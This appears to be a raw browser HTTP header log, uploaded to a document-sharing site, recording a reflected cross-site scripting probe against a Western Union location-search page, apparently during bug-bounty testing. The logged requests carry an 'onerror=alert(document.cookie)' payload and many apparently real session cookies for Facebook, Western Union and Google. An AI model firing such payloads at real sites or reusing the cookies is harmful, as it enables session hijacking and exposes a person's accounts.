A

https://5-edge-chat.facebook.com/pull?
channel=p_100000886322878&seq=47&partition
=-2&clientid=6608c626&cb=i4h5&idle=841&cap=8&uid=100000886322878&viewer_uid=1000
00886322878&sticky_token=25&sticky_pool=frc3c04_chat-proxy&traceid=K4tUp
GET /pull?channel=p_100000886322878&seq=47&partition=-2&clientid=6608c626&cb=i4h
5&idle=841&cap=8&uid=100000886322878&viewer_uid=100000886322878&sticky_token=25&
sticky_pool=frc3c04_chat-proxy&traceid=K4tUp HTTP/1.1
Host: 5-edge-chat.facebook.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0
Iceweasel/31.2.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.facebook.com/
Origin: https://www.facebook.com
Cookie: datr=cInAVHYBR8djynEbXIaAhgsE; locale=en_US; c_user=100000886322878; fr=
0bXPT1MYYWhse7sT7.AWWmYctvTHk0ocHTOadb7ar7A8s.BUwInj.57.FTA.0.AWWp5vOT; xs=211%3
ACdH3Kdlg3hnHUA%3A2%3A1421904355%3A19802; csm=2; s=Aa4QrwPXg_TIh1XX; lu=RASpJMBi
9ZqC3UWtcJwG9LRg; p=-2; presence=EM421906377EuserFA21B00886322878A2EstateFDsb2F0
Et2F_5b_5dElm2FnullEuct2F1421903756BEtrFnullEtwF3758318245EatF1421905789082G4219
06377460CEchFDp_5f1B00886322878F47CC
Connection: keep-alive
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
access-control-allow-origin: https://www.facebook.com
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-c
heck=0
Content-Encoding: gzip
Content-Length: 955
Content-Type: application/json
Date: Thu, 22 Jan 2015 06:04:17 GMT
Pragma: no-cache
X-Frame-Options: DENY
X-Firefox-Spdy: 3.1
---------------------------------------------------------http://locations.westernunion.com/search/india//?q=city%3A%3CI%3EXSS%3Cimg+src%3
Dx+onerror%3Dalert(document.cookie)%3E%3Bcountry%3AIN&filters=services-_-moneyTr
ansfer
GET /search/india//?q=city%3A%3CI%3EXSS%3Cimg+src%3Dx+onerror%3Dalert(document.c
ookie)%3E%3Bcountry%3AIN&filters=services-_-moneyTransfer HTTP/1.1
Host: locations.westernunion.com
Iceweasel/31.2.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: AKCountry=RO; WUCountryCookie_=IN; WULanguageCookie_=en; TLTSID=C0C87AAE
A1F710A10580D3FF25432E9D; TLTUID=C0C87AAEA1F710A10580D3FF25432E9D; mbox=session#
1421904626350-277817#1421908354|PC#1421904626350-277817.19_37#1427090494|check#t
rue#1421906554; s_dfa=westernunionglobal%2Cwesternunionin2%2Cwesternunionro2; s_
cc=true; s_sq=westernunionro2%3D%2526pid%253DIN%25253AagentLocatorSearch%2526pid
t%253D1%2526oid%253DGO%2526oidt%253D3%2526ot%253DSUBMIT; s_vi=[CS]v1|2A60457C050
11A84-60000137E000D740[CE]; PLAY_SESSION=d754aa3902910c10dd6eed56a42637528eacf01
0-%00iframe%3Atrue%00%00___AT%3A4b48747d6eef22a6cdda6e1409ba39c28b676698%00; PLA
Y_LANG=en; TLTF5SID=59050C253B4AEE08DE1402545C5BBF35; TLTF5UID=DE996D543BEA79A20
04C33E4CAC256E9; _ga=GA1.2.1677344526.1421904800; _gat=1
HTTP/1.1 404 Not Found

Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Date: Thu, 22 Jan 2015 06:04:20 GMT
Server: nginx
Set-Cookie: PLAY_FLASH=;Expires=Thu, 22-Jan-15 06:04:20 GMT;Path=/
Set-Cookie: PLAY_ERRORS=;Expires=Thu, 22-Jan-15 06:04:20 GMT;Path=/
Set-Cookie: PLAY_SESSION=d754aa3902910c10dd6eed56a42637528eacf010-%00iframe%3Atr
ue%00%00___AT%3A4b48747d6eef22a6cdda6e1409ba39c28b676698%00;Path=/
Transfer-Encoding: chunked
---------------------------------------------------------http://locations.westernunion.com/search/india//x
GET /search/india//x HTTP/1.1
Iceweasel/31.2.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Referer: http://locations.westernunion.com/search/india//?q=city%3A%3CI%3EXSS%3C
img+src%3Dx+onerror%3Dalert(document.cookie)%3E%3Bcountry%3AIN&filters=services_-moneyTransfer
1421904626350-277817#1421908354|PC#1421904626350-277817.19_37#1427090494|check#t
04C33E4CAC256E9; _ga=GA1.2.1677344526.1421904800; _gat=1
HTTP/1.1 301 Moved Permanently
Content-Type: text/plain; charset=utf-8
Date: Thu, 22 Jan 2015 06:04:20 GMT
Location: http://locations.westernunion.com/search/india/mh/aurangabad
Server: nginx
Vary: Accept-Encoding,User-Agent
Content-Length: 0
---------------------------------------------------------http://www.google-analytics.com/collect?v=1&_v=j32&a=2012490823&t=pageview&_s=1&
dl=http%3A%2F%2Flocations.westernunion.com%2Fsearch%2Findia%2F%2F%3Fq%3Dcity%253
A%253CI%253EXSS%253Cimg%2Bsrc%253Dx%2Bonerror%253Dalert(document.cookie)%253E%25
3Bcountry%253AIN%26filters%3Dservices-_-moneyTransfer&ul=en-us&de=UTF-8&dt=No%20
locations%20found%20near%20%E2%80%9C%20%3CI%3EXSS%3Cimg%20src%3Dx%20onerror%3Dal
ert(document.cookie)%3E%20India%E2%80%9D&sd=24-bit&sr=1360x768&vp=1345x548&je=0&
fl=11.2%20r202&_u=cACAAAQBI~&jid=&cid=1677344526.1421904800&tid=UA-30403730-1&cd
1=&cd2=Noresults&cd3=&cd4=&cd5=&cd6=&cd7=&cd8=&cd9=&cd10=en&z=548158343
GET /collect?v=1&_v=j32&a=2012490823&t=pageview&_s=1&dl=http%3A%2F%2Flocations.w
esternunion.com%2Fsearch%2Findia%2F%2F%3Fq%3Dcity%253A%253CI%253EXSS%253Cimg%2Bs
rc%253Dx%2Bonerror%253Dalert(document.cookie)%253E%253Bcountry%253AIN%26filters%
3Dservices-_-moneyTransfer&ul=en-us&de=UTF-8&dt=No%20locations%20found%20near%20
%E2%80%9C%20%3CI%3EXSS%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E%20I
ndia%E2%80%9D&sd=24-bit&sr=1360x768&vp=1345x548&je=0&fl=11.2%20r202&_u=cACAAAQBI
~&jid=&cid=1677344526.1421904800&tid=UA-30403730-1&cd1=&cd2=Noresults&cd3=&cd4=&
cd5=&cd6=&cd7=&cd8=&cd9=&cd10=en&z=548158343 HTTP/1.1
Host: www.google-analytics.com
Iceweasel/31.2.0
HTTP/1.1 200 OK
Pragma: no-cache
Expires: Mon, 07 Aug 1995 23:30:00 GMT
access-control-allow-origin: *
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
x-content-type-options: nosniff
Content-Type: image/gif
Date: Wed, 14 Jan 2015 16:46:11 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 652689
Alternate-Protocol: 80:quic,p=0.02
---------------------------------------------------------http://locations.westernunion.com/search/india/mh/aurangabad
GET /search/india/mh/aurangabad HTTP/1.1
Iceweasel/31.2.0
1421904626350-277817#1421908354|PC#1421904626350-277817.19_37#1427090494|check#t
04C33E4CAC256E9; _ga=GA1.2.1677344526.1421904800; _gat=1
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Date: Thu, 22 Jan 2015 06:04:21 GMT
Server: nginx
Vary: Accept-Encoding,User-Agent
---------------------------------------------------------http://metrics.westernunion.com/b/ss/westernunionglobal,westernunionin2/1/H.24.3
/s88148225639964?AQB=1&ndh=1&t=22%2F0%2F2015%2011%3A34%3A20%204%20-330&vmt=5373D
2A5&ns=westernunionglobal&g=http%3A%2F%2Flocations.westernunion.com%2Fsearch%2Fi
ndia%2F%2F%3Fq%3Dcity%253A%253CI%253EXSS%253Cimg%2Bsrc%253Dx%2Bonerror%253Dalert
(document.cookie)%253E%253Bcountry%253AIN%26filters%3Dservices-_-moneyTransfer&c
c=USD&ch=IN%3AagentLocator&server=locations.westernunion.com&c1=IN&v1=IN&c3=http
%3A%2F%2Flocations.westernunion.com%2Fsearch%2Findia%2F%2F%3Fq%3Dcity%253A%253CI
%253EXSS%253Cimg%2Bsrc%253Dx%2Bonerror%253Dalert(document.cookie)%253E%253Bcount
ry%253AIN%26filters%3Dservices-_-moneyTransfer&c4=en&v4=en&c6=11%3A30AM&c7=Thurs
day&c8=Weekday&c10=signedOut&c14=IN%3AagentLocatorSearch%3AA0011&v21=IN%3AagentL
ocatorSearch%3AA0011&v24=11%3A30AM&v25=Thursday&v26=Weekday&c50=INTL_H.24.1_2.5&
s=1360x768&c=24&j=1.7&v=N&k=Y&bw=1360&bh=548&p=Shockwave%20Flash%3BGnome%20Shell
%20Integration%3B&AQE=1
GET /b/ss/westernunionglobal,westernunionin2/1/H.24.3/s88148225639964?AQB=1&ndh=
1&t=22%2F0%2F2015%2011%3A34%3A20%204%20-330&vmt=5373D2A5&ns=westernunionglobal&g
=http%3A%2F%2Flocations.westernunion.com%2Fsearch%2Findia%2F%2F%3Fq%3Dcity%253A%
253CI%253EXSS%253Cimg%2Bsrc%253Dx%2Bonerror%253Dalert(document.cookie)%253E%253B
country%253AIN%26filters%3Dservices-_-moneyTransfer&cc=USD&ch=IN%3AagentLocator&
server=locations.westernunion.com&c1=IN&v1=IN&c3=http%3A%2F%2Flocations.westernu
nion.com%2Fsearch%2Findia%2F%2F%3Fq%3Dcity%253A%253CI%253EXSS%253Cimg%2Bsrc%253D
x%2Bonerror%253Dalert(document.cookie)%253E%253Bcountry%253AIN%26filters%3Dservi
ces-_-moneyTransfer&c4=en&v4=en&c6=11%3A30AM&c7=Thursday&c8=Weekday&c10=signedOu
t&c14=IN%3AagentLocatorSearch%3AA0011&v21=IN%3AagentLocatorSearch%3AA0011&v24=11
%3A30AM&v25=Thursday&v26=Weekday&c50=INTL_H.24.1_2.5&s=1360x768&c=24&j=1.7&v=N&k
=Y&bw=1360&bh=548&p=Shockwave%20Flash%3BGnome%20Shell%20Integration%3B&AQE=1 HTT
P/1.1
Host: metrics.westernunion.com
Iceweasel/31.2.0
1421904626350-277817#1421908354|PC#1421904626350-277817.19_37#1427090494|check#t
11A84-60000137E000D740[CE]; TLTF5SID=59050C253B4AEE08DE1402545C5BBF35; TLTF5UID=
DE996D543BEA79A2004C33E4CAC256E9; _ga=GA1.2.1677344526.1421904800; _gat=1
HTTP/1.1 200 OK
Date: Thu, 22 Jan 2015 06:04:21 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi=[CS]v1|2A60457C05011A84-60000137E000D740[CE]; Expires=Sat, 21 J
an 2017 06:04:21 GMT; Domain=.westernunion.com; Path=/
X-C: ms-4.9.3
Expires: Wed, 21 Jan 2015 06:04:21 GMT
Last-Modified: Fri, 23 Jan 2015 06:04:21 GMT
Cache-Control: no-cache, no-store, max-age=0, no-transform, private
Pragma: no-cache
Etag: "54C092E5-2BCC-15C950DE"
Vary: *
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www99
Content-Length: 43
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: image/gif
---------------------------------------------------------https://apis.google.com/js/plusone.js
GET /js/plusone.js HTTP/1.1
Host: apis.google.com
Iceweasel/31.2.0
Accept: */*
If-None-Match: "f0f49d615264b7a73dbfb7555eae381a"
HTTP/1.1 200 OK
Cache-Control: private, max-age=1800
Content-Type: application/javascript; charset=utf-8
Date: Thu, 22 Jan 2015 06:04:22 GMT
Etag: "7796f69e1d7d74a93063b4a83fce704c"
Expires: Thu, 22 Jan 2015 06:04:22 GMT
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bi
n/answer.py?hl=en&answer=151657 for more info."
Server: GSE
Set-Cookie: NID=67=Z8WyXMbgQbVGQGIUS51Zd7RtA0brNrRNCCQMFGI6Ckg9UjBuAQaBl8sx8jrO1
qlHVHiit4erQfAYtAjnpzJAwP9aah2zt8urQY8MYRLlU1geMgVoe8k7kV1Z67e6amjV;Domain=.goog
le.com;Path=/;Expires=Fri, 24-Jul-2015 06:04:22 GMT;HttpOnly
Strict-Transport-Security: max-age=10886400
timing-allow-origin: *
X-Frame-Options: SAMEORIGIN
x-ua-compatible: IE=edge, chrome=1
X-XSS-Protection: 1; mode=block
X-Firefox-Spdy: 3.1
---------------------------------------------------------https://apis.google.com/_/scs/apps-static/_/js/k=oz.gapi.pt_BR.RSE-Xu4veMU.O/m=p
lusone/rt=j/sv=1/d=1/ed=1/am=AQ/rs=AGLTcCNXbrOIbc5ldr4bWgm2mR6xZASf0w/t=zcms/cb=
gapi.loaded_0
GET /_/scs/apps-static/_/js/k=oz.gapi.pt_BR.RSE-Xu4veMU.O/m=plusone/rt=j/sv=1/d=
1/ed=1/am=AQ/rs=AGLTcCNXbrOIbc5ldr4bWgm2mR6xZASf0w/t=zcms/cb=gapi.loaded_0 HTTP/
1.1
Host: apis.google.com
Iceweasel/31.2.0
Accept: */*
HTTP/1.1 200 OK
Age: 31270
Cache-Control: public, max-age=31536000
Content-Length: 40044
Content-Type: text/javascript; charset=UTF-8
Date: Wed, 21 Jan 2015 21:23:13 GMT
Expires: Thu, 21 Jan 2016 21:23:13 GMT
Last-Modified: Mon, 19 Jan 2015 15:04:48 GMT
Server: sffe
Vary: Accept-Encoding
X-XSS-Protection: 1; mode=block
X-Firefox-Spdy: 3.1
---------------------------------------------------------https://308-events.olark.com/nrpc/p?j=olark-31421906665530&&c=pollevents&q=5888.
65530.3&i=DCxdFlBp23mqPHCY3S7fx8sjDJM5g22M&cb=hbl.client.callbacks.pollevents&af
ter=14219062951943&next_poll_time=15000&v=M0rjGRxCPcMmpIrA3S7fx8sjDJB5MB2M&versi
on=api-1.2.1&pretty=true&_rnd=0.3150030014938543
GET /nrpc/p?j=olark-31421906665530&&c=pollevents&q=5888.65530.3&i=DCxdFlBp23mqPH
CY3S7fx8sjDJM5g22M&cb=hbl.client.callbacks.pollevents&after=14219062951943&next_
poll_time=15000&v=M0rjGRxCPcMmpIrA3S7fx8sjDJB5MB2M&version=api-1.2.1&pretty=true
&_rnd=0.3150030014938543 HTTP/1.1
Host: 308-events.olark.com
Iceweasel/31.2.0
Accept: */*
Referer: https://bugcrowd.com/westernunion
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Jan 2015 06:04:25 GMT
Content-Type: text/javascript; charset=UTF-8
Vary: Accept-Encoding
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Thu, 22 Jan 2015 06:04:25 UTC
X-Rpc: rp44.olark.net
Pragma: no-cache
Cache-Control: post-check=0, pre-check=0
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
----------------------------------------------------------

A

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

A

Uploaded by

Copyright:

Available Formats

https://5-edge-chat.facebook.com/pull?

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=utf-8

You might also like